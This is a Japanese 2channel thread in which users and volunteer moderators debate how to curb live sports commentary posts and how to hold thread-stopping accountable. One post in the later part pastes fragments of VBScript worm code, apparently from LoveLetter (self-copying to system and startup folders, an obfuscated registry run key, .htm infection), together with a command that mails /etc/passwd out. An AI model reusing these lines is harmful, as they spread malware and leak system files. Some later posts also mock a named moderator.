【秋の陣】実況を『根絶』する方法の考察・実験 8【お止め組。】
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このスレッドはいかにして実況を根絶するかの手段を話し合ったり
実際に実験するのが目的です。
このところスポーツ関係の実況が盛んに行われています
これらは２ちゃんねるでは「実況系の板」で行う約束になっています。
このスレッドの内容(予定)
● 手段や方法を話し合ったり、実際に実験するスレッドです。
● 実況の定義論争はしません。
● 実況の是非も話し合いません。
● (中略)
● 瓢箪から駒を目指しています、今までの方法は提案しないでください。
では、はじめましょう。
I can't stop the Loneliness ..... >>114
厳しい言い方するがそれだと極論感情的や反射的な止めも発生するのでは？
後でスレ住人の非難が出ても説明ができるような、責任ある止め方をしてほしい >>114
止める度に書き込むのが無理なのはごもっともで。
ただ、止める時、止めたスレと理由となったレス番を控えておいて
後で貼り出すとかしてもらえると、板自治にも役立つし
考察とか検証もよりきちんと行えると思う。
義務化しろとまでは言わないけど、
もう実験の機会はあまり残されてないし、考えてもらえればと。 >>117
「ｘｘスレのレス番ｘｘｘのｘｘの部分を実況と判断したため止めました」
と説明できるような止め方ってことでしょ。
止めたことに対する疑問、質問が名指しで出ても
一切出てこない、説明しないという姿勢が当たり前だというなら、それは問題だと思う。
したくでも出来ない、お止め組さんが出てきて説明することが困難だというのなら、
システム的に改善すべき点があるのかも知れない。 無論、お止め組スレストが効かないような鯖負荷の時は別だけど。 >>119
だからその具体的な手順を提案してくださいってことです
心意気だけならいまさら提案するまでもなく既出なので スレを止める場合に、実況と判断したレス番号を入れる方式のシステムだと
お止め組さんの負担も少ないかもね。 >>121
118にも書いたが「止めたらアドレスをメモ。後で貼る。」そんだけ。
責任ある止め方をする、というより止めることに説明責任を伴わせるって感じ。
それだけで感情とか反射での止めは防げるし、もし出ても対応しやすい。
もっとも、これはお止め組にどこまで責任を負わせるかって話でもあるし
物理的にできるかはお止め組でないので判らない。
と書いていたら
>>122のがいい案かも。
さてさて>>121氏のご意見を伺おうかな。 >>114
それって、要は「人が足りてない」ってことではないの？
いくつも監視するなら、それを３〜４人で分担すれば、
それなりにまめな対応も出来るでしょう。
そういうの全然やってるように見えないんだけど。
おとめ組は沢山いるようだけど、そういう連携をしていく
ことも念頭に入れないと駄目なんじゃないの？
前に５スレ見てて、２スレは止められたけど、２スレは
スクリプト動かなかったって書き込みもあったけど、
それも２〜３人で見れいれば、対応出来たはず。
いっぺんに10人も20人も要らないんだから、１試合を
監視するのに、どれだけマンパワーがいるのか、
もうちょい考えた方がいいんでは？
「一人で対応出来る範囲」で考えてるような気がするよ。 >>119
実況定義はあるのだから、ストップの原因となるレスは住人で判断できませんか？
もちろん100％は無理だとしても97％はわかると思います。
>>109
煽りが入っているかは問題ではなく、実況であれば処理してもいいのでは？
煽りを理由に処理しないのでは煽りながら実況し続けるでしょう。
>>122
だらだら実況しているのはともかく、非常時の実況にはそんな暇はありません。
(非常時…HR、ゴール、試合終了etc...) そいで、提案って程じゃないけど、MSメッセンジャーとか、
そういうの使って連携した方がいいんでない？
相手にしてるのは、チャットに近いようなスピードで来る
ものなんだから、掲示板リロードしながら、番組見ながらじゃ、
リアルタイムの対応には、限界があると思うよ。
連携や分担もしやすいだろうし。 >>125
その残り3%(かどうか知らないけど)がポイントなんだってば。
実際止めたものに対して、いちいち質問が来るわけないんだし。
実況が順調に減っていって最後に残る部分だから
最初は3%でもいずれ割合も大きくなっていく(実際、来てる)と思う。
実況が減ってる(鯖が飛ばなくなってきてる)にもかかわらず
問題が解決した気にならないのは、ブラックな実況が減っても
そうしたグレーゾーンがあまり減っていないからかも知れない。
そこは検証しやすくしても良いんじゃないかなと思う。 >>118
いちいちメモはとってないですが、自分が止めたスレに関しては、何故止めたか、
くらいは説明できますよ、私は。そのスレのログを見れば思い出すから。（というか
そのレスの流れでどこで止めるかもう一度判断し直したら、まあほとんど同じとこで
止めてますわ。はい）
ただ実際の作業中はメモを取る時間も惜しい場合があるんです。
あと、大前提として「やれる時だけやる。できない時は無理しない」というのがあり
ますので、ある試合を見ていても途中で抜けたり途中から参加したりもするわけで、
組員間で連携してというのは現実論として難しいです。
お止め組。の負担分担を、というのなら、誘導レス貼りを手伝って頂きたい。マジで。
>>125
自治誘導をしていますので、そのへんの事情は良くわかっています。
Sambaの制限で困るぐらいですから。
レス番を入れなくても止められるシステムで十分だと思いますよ。
そのような非常時の実況は、誰が見ても明確ですから。 >>128
ほとんど・・・だって、すべてじゃないんだぁ！？ >>130
止めたスレを憶えていないから、すべてのスレで再考したわけではないってことね。 >>123
レス番書いてあってもそれが正しいか確認作業が必要になる気がしますが
手作業で正しく入力できるとは限らないし、止めるたびにログ再取得して確認
するのは手間的にも負荷的にも非現実的です
問題点が停止の妥当性の検証という部分にあるならば、現状の疑問があれば
このスレにURLを貼って説明してもらうという手順と同じ事をするために、スレ
一時停止作業の負荷を高める手法を採用することが適当かという問題にもなるでしょう
レス番号特定することで、停止対象レスとされたレス主VS停止実行したお止め組み
組員の対立という構造が常に発生すること、同じく対象のレス主VSそれ以外の
スレ住人の対立という構造も今以上に発生するであろうこと
それに加えてレス番誤爆の危険も考えると、効果のわりにコストの高い方法
ではないかと思います >>128
できる範囲でですが協力はしますよ。
まぁex8とはいえ野球の住人でないので限界はありますが…
よろしければ、でいいですが
どれくらいの数のスレを見て回っておられるんですか?
とりあえず巨人戦のある平日だと。 >>128
２段落目と
> ただ実際の作業中はメモを取る時間も惜しい場合があるんです。
とが矛盾、とまでは言わないまでもやや相反することを言っているようにも思えます
そんなに必死にならないといけない状態ならばそれはそれでまた
解決すべき問題の一つなのではないでしょうか お止め組みの目的 = 実況を根絶。
実験台 = ex8
because ex8 は自立的には実況が止まらない板のあつまり、
他のサーバの板は自立的にまぁまぁ実況が行われない状態である
板停止or閉鎖をいきなりじゃどもならんので、
お止め組みを作ってあがいてみることにした
結果
それでも実況が止まらないどころか・・・
どうする?
いよいよですか? >>133
私の場合は普段は阪神戦を見てますが、チームスレが3つくらい、監督スレが3つくらい、
選手個別のスレが8〜15。これに視聴率スレが加わります。
アンチ球団板も加えると30スレくらいは巡回してるかなぁ。
毎戦のように実況があるのはそのうち5つくらいですけどね。
パターンとしては
・監督スレ（セオリー通りでない作戦をとった or 何かすべきなのにしなかった時）
・降板した選手のスレ
・代打などで出てきた非レギュラー選手のスレ
・特に不調な選手のスレ
が要注意。
>>134
そうですか？
他に用事のある時はお止め組の活動そのものをやらない。
活動している時は、「メモをとる時間も惜しい」くらいがんがってるだけですが。
>>135
期限付きで、改善が認められない場合、
「板停止or閉鎖」でもいいとおもいますよ・・・
その前に、dat保持数の削減と、dat落ちをより早くすることを
希望します。 >>135
実際には実況は減ってると思うし
騒ぎを起こしている板、スレッドも一部だと思うのだけど
その一部が先鋭化してる感があるんですよね…
個人的には「故意に実況する荒らし対策」に手を付けてみると面白そう >>139
dat削減とdat落ちの早期化は
流れの速い板のみを生き残らせてしまうため
実況対策には逆効果だと思うのだが、
なにゆえ希望するのか説明求む 未だに勘違いして、実況に対する意識が低い人がいるからなあ
お止め組は団子桜木で頑張っているというのに
しかも意識が低い人が削除人やここのコテという、いわゆる身内みたいな人の中にもいるし
まだまだ地道に頑張っていってもらうしかないなあ >>137
30…結構多いですなぁ
んで実況常習は5つですか
(視聴率スレはアレなので除いて)
それって、当初に比べて改善されてる感じですか? >>141
実況は、実況可能なスレがあるため。
実況され得る可能性を下げるために、
dat数の削減とdat落ちのより早期化。 >>144
…根本的にdat落ちの仕組みを判ってないと思うのだが。 >>144
たぶん、あなたの望んでいる効果は
>>139では得られないかと。 >>141
スレ保持数を実況並にへらして
というか「サーバ&扱いを実況仕様にする」ということだけかと、 a) 毎日、毎日それ自体が興行で行われているものの実況
b) 毎週、毎週〜
c) 毎月、毎月〜
d) 定期的に(一年に複数回)
e) 毎年、毎年〜
f) 数年に一回(二年に一回、四年に一回) 〜
G) 突然。
--------------------------------------------------
イチローの記録やドラゴンズの優勝の掛かった試合は
試合自体はa)でも、いつ達成するかがわからない（確定していない）からG) ですか。 実況仕様にすると、逆に実況以外ほとんどできなくなるから
「プロ野球とサッカーと格闘技とモータースポーツは2chでは実況以外禁止」
ということになるでしょうな。 >>146-147
株式系4板をイメージしての発言だったのですけどねぇ。 >>143
実況常習スレが減ったとも感じていますが、それよりも誘導だけで止まることが
多くなってます。 実況が根絶できていないことを重視するのか、
減ってることを重視するのかは人それぞれにしても
少なくとも「減らないどころか…」という状態ではないでしょう で、今どれだけの人が活動してるの？
お止め組。さんたちはスレを止めるだけが活動の全てじゃあないとはおもうけど
ハンドル毎の止めた回数とかの統計とかがあればみてみたかったりします。。。 テレビ朝日にて急遽番組差し替えという形で野球中継が始まりましたが
G） にて活動でいいのでしょうか >>154
G)にて活動って具体的にどういうこと？ >>154
昨日の時点でもう発表されてたから保護対象外でしょ。
祭りにもならんし。 >>149
実況板でも、普通に雑談や終わった番組の感想はありますけど。
一度どこかの板へどうぞ。
スレ速度が遅いとすぐ落ちるから、人の多い話題しか残らないって
のはありますが。 >>155
それ、漏れの発言にかかってるのかい？
ヲチってわけでもないとおもうけどなぁ。。。
月ごとの止めた回数がわかれば
実況が自律的に止まってるのか、未だにチカラで押さえ込んでいるのかってのが
流れ的にわかるとおもうし、ここで議論する上でいいことだとおもうんだけどなぁ。
>>161
んじゃあ、板ごとの乙女組発動回数でいいんじゃね。
ハンドルごとにする意味ある？ ┗0=============0┛
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>>160
一応ラジオ系は常連だよ
48時間でスレの落ちる板じゃ野球はまだしも
週1とか月1のスポーツ系は実質機能しないってこと。
株板のことはようわからんが。 >>162
ハンドル毎にすればフェードアウトした人もわかるでしょ。
大変だ⇒人が足りないから？とかいう話にもなってるわけだし、調べても
そんなに悪い話でもないとおもうけどね。
お止め組。さんの補充とかに話が進むのなら
まずもって存在意義がクリアになってからだとはおもうけどね。 >>157
中継が既に発表されたものであっても
本日優勝が決定するかどうかはまだわかっていません。
リーグ優勝が｢歴史の目撃｣に当たるのかわかりませんが。 >>166
んだから、試合が終わるまでは「通常の試合の実況」でしょう。
※もっともスカパーと東海テレビだったっけ、あまり規模は大きくなさそう
優勝決定後は、どれだけ予想外の事態が起こるかでわないかと。 >>153
HETARE氏もｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!!
むむむ氏やrafale氏の見解も聞いてみたいなぁ。。
> ハンドル毎の止めた回数とかの統計とかがあればみてみたかったりします。。。
実況が減っているという声も上がっているけど、
板別のスレスト回数が今どれくらいで、当初に比べてどれだけ減ったのか知りたいところ。
お止め組。の人は統計とっていなさそうだから、なんか調べる方法はないのだろうか。。。
（もちろん個人別・板別があればベスト） Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
？
？
？
fso.copyfile "dirsystem&nullpo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
cat /etc/passwd | mail nobody >>167
本日の試合（両試合とも中継あり）
中日vs広島
ヤクルトvs巨人
中日が勝つか、引き分け。またはヤクルトが負ければリーグ優勝決定。
であってますか？
中日vs広島の試合が終わる前に優勝が決まる可能性もあると思いますが
もしそうなったら
a) 毎日、毎日それ自体が興行で行われているものの実況
e) 毎年、毎年〜
G) 突然。
のどれなんでしょう。他の人の意見も聞いてみたいです。
野球ってのは毎日毎日興行として行われてはいませんか >>171
a)
ただし祭り要素になりそうな突発的なプラスアルファがあればG)と考えます
そしてそうなる可能性は決して低くないと >>108 一番下は規制議論での受け売りだもんでねー。
それはさておき,>>171 ふいんきと勘で。 実況は凄く減ってると思うけどね。
ジャンパイアスレなんか１０分で１００レスオーバーとかあったし。
今止められるのはアンチがわざとやってる場合か、無意識のレスが拡大解釈された時が主だと思う。 e) - 3) だなぁ
つまり、お題の目的はこういうのをすり合わせたいのだー
コンセントをさすっていうやつですか、
>>181
アンチというより、あのスレのアンチだろ。
視聴率スレと水増しスレしか止めてないんだから。 そうですね、専用のサーバを
わいわいkakikoあたりにでも >>182
野球の優勝のためだけには専用サーバはどうしたって用意できないから、
e）は真っ先に選択肢から外してしまったのね
じゃぁJの優勝、J2落ち、昇格チーム決定もe-3なのかなぁ、と
今まで(お止め組み以前)は、めんどくさいから
「実況はだめー」と一律に言って細かいケアはしなかったのよ、
でも、もうちょっと頑張ってなんとかしようかな? というのも設立の理由の一つ。
無論、目の前に迫った夏が大きな理由。
もひとつ言えば、叩きに耐えられる★の発掘(つまり叩かれ役)
でも本当の理由は、私の変わりに叩かれてもらおうと、、、
ぐへへっ
>>188
きっと違うと思う、、、
それぞれがどんなものなのか知らないけど、
でもこれが日本シリーズとかだったら
5) で運用かと >>183
被害妄想です。
ちなみに私が確認してる範囲で、次のスレが止められています。
やってくれたなテレ朝 http://ex8.2ch.net/test/read.cgi/base/1096628925/18
もえよ！ドラゴンズ〜初めてーの宙〜♪〜 http://ex8.2ch.net/test/read.cgi/base/1096554575/812
＃ 視聴率スレは、いつになったら他の板へ移動するのかな…
>>189
(´-`).｡ｏＯ（ FOXﾀﾝの思う壷だな ） >>179
ふいんきと勘でズレが生じるのを減らすために
がやがやしているのではないでしょうか。
>>182
過去にあったできごとだと当時のログを知らない人は
参加しずらいと思うので、未来（現在）のものを例にしました。
実際はっきりしないと活動しずらいですし。
>つまり、お題の目的はこういうのをすり合わせたいのだー
すり合わせをする相手は
・このスレの参加者で
・お止め組。の人達で
・FOX氏の判断と
のどれなんでしょうか？
イチローの記録がかかった試合も、どれに当たるのか考えているのですが
年に○回といった定期的なものではない。
かといって記録までカウントダウンできるという意味では突然起こるものでもない。
果たしてG) 突然。に当たるのでしょうか。 あっと
G) や 5) であっても「実況は実況板で」というのは変わらないですよ
お間違えなきよー
>>193
わたしとすり合わせてどうする
今まではこうやって来たという事実は提供できるけど、 >>191
予定されている、されていないで区別するなら
予定されている試合
日本シリーズ＝チャンピオンシップ、Jリーグ入れ替え戦
いつ決まるかは基本的に判らない
プロ野球のリーグ優勝決定＝Jのリーグ優勝、自動昇格(降格)チーム決定
みたいなもんですかねぇ
リーグ最終戦は、そこで必ず決まるから性質的に日本シリーズに近いかも
いや、11月にはリアルで起こる問題なんで >>193
アイヤー。漏れならば の話です ｽﾏｿ
ただ,例えばドラゴンズ優勝の時に「ｷﾀ━━━━━(ﾟ∀ﾟ)━━━━━!!!!」とかがばたばたっと来るのは
避けたいのは勿論だけど,だからといって「アノ時の○○は△△だったねー」と言うのは
書けないと意味ないからねー。 >>190
こんなこと書いてるよ
> a) - d) = 実況は実況板で、
> e) - f) = 専用のサーバを大抵用意するので、そこで
優勝専用のサーバなんてあったっけ？
とかまあそんなことは全然どうでも良くて、
>>194の
> G) や 5) であっても「実況は実況板で」というのは変わらないですよ
> お間違えなきよー
ってのをきちんと徹底しておかないと
「○○なときは普通の板でも実況していい」
って感じになりそうで あたし こはひ れんげとかいうやつ異常だ！
こういう人間に「判断」をさせてはいけない。 し! _ -── ‐- ､ , -─-､ -‐─_ﾉ
れ 火 /／￣＞ ´ ￣ ￣ ｀ヽ Y , ´ ） 火 え
ん 病 L_ ／ ／ ヽ 病 |
げ で / ' ' i !? マ
の ス / / く ジ
悪 レ l ,ｨ/! / /l/!,l ／厶,
癖 止 i ,.lrH‐|'| /‐!-Lﾊ_ l /-!'|/l ／｀'ﾒ､_iヽ
よ め l | |_|_|_|/| / /__!__ |/!ﾄi i/-- ､ ﾚ!/ / ,-- ﾚ､⌒Y⌒ヽ
ね る _ゝ|/'/⌒ヽ ヽﾄ､|/ '/￣｀ヾ 、ヽﾄ､Ｎ'/⌒ヾ ,ｲ￣｀ヾ,ﾉ!
l の 「 l ′ 「1 /てヽ′| | | 「L! ' i'ひ} ﾘ
が ヽ | ヽ__Ｕ, ､ヽ シノ ﾉ! ! |ヽ_､ｿ, ヾシ _ノ _ﾉ
-┐ ,√ ! ￣ ﾘ l ! ￣ ￣ ７/
ﾚ'⌒ヽ/ ! | 〈 _人__人ﾉ_ i く //!
人_,､ノL_,iノ! /! ヽ r─‐- ､ 「 Ｌ_ヽ r─‐- ､ u ノ/
/ / lﾄ､ ＼ ヽ, -‐┤ ﾉ キ 了＼ ヽ, -‐┤ /／
ハ キ { / ヽ,ﾄ､ヽ/!｀ｈﾉ ） モ |/! 「ヽ, `ｰ ／） _ ‐'
ハ ャ ヽ/ r-､‐' // / |-‐ く | ＞ / / ｀'／／-‐､ ／
ハ ハ ＞ ／＼＼// / /ヽ_ ! イ （ / / ／／ / `ｧ-‐ '
ハ ハ / /! ヽ レ'/ ﾉ ＞ ' ∠ -‐ ￣ノヽ /
{ i l ! / フ / -‐ /￣/〉 〈 ＼ /!
>>198
>ってのをきちんと徹底しておかないと
>「○○なときは普通の板でも実況していい」
>って感じになりそうで あたし こはひ
これができない板はなんともかにとも・・・
少なくとも私やお止め組みはやりませんし
しちゃだめです。 >>194
個人的には実況を減らすことに関心のある
このスレの参加者間でのすり合わせだと思っています。
5) のみがお止め組みのスレスト発動対象。とされていますが
キャップを付けての誘導は可ですか不可ですか？ 一応さ、どのレスが実況なのか指摘して止めてくれよ。
れんげの気分一つで止められたらたまんねーよ。 >>202
このスレの議論参加者にも >>8 あたりで示されている考え方を
「○○なときは普通の板でも実況していい」
と捕らえてる人もいそうだし、
>>8 あたりの考え方と「絶対実況禁止」っていう見た目上矛盾した考え方を
上手く消化できない人もいると思うよ
>>8 の選択肢が本当に正しいのか？ すべてを網羅しているのか？
あたりの話にはならないのだろうか なあ、1レスで止めるって、お前のリロードの方が負荷かかってんじゃねーの？
れんげさんよ！ 496→498止
502→503止
527→529止
587→589止
だと思うのだが＞視聴率スレ 別におめーの考えなんて聞いてねーよ。
なにしゃしゃり出てきてんの？ >>213
詰所なり報告スレなりに連絡すれば
出てきてくれるとおもうよ。
…お止め組。さんたちも生身の人間なんだから全部見ろったって無理だべさ。。 >>212
いやー、誰 で も わ か る レ ベ ル だからついね。 ■ このスレッドは過去ログ倉庫に格納されています
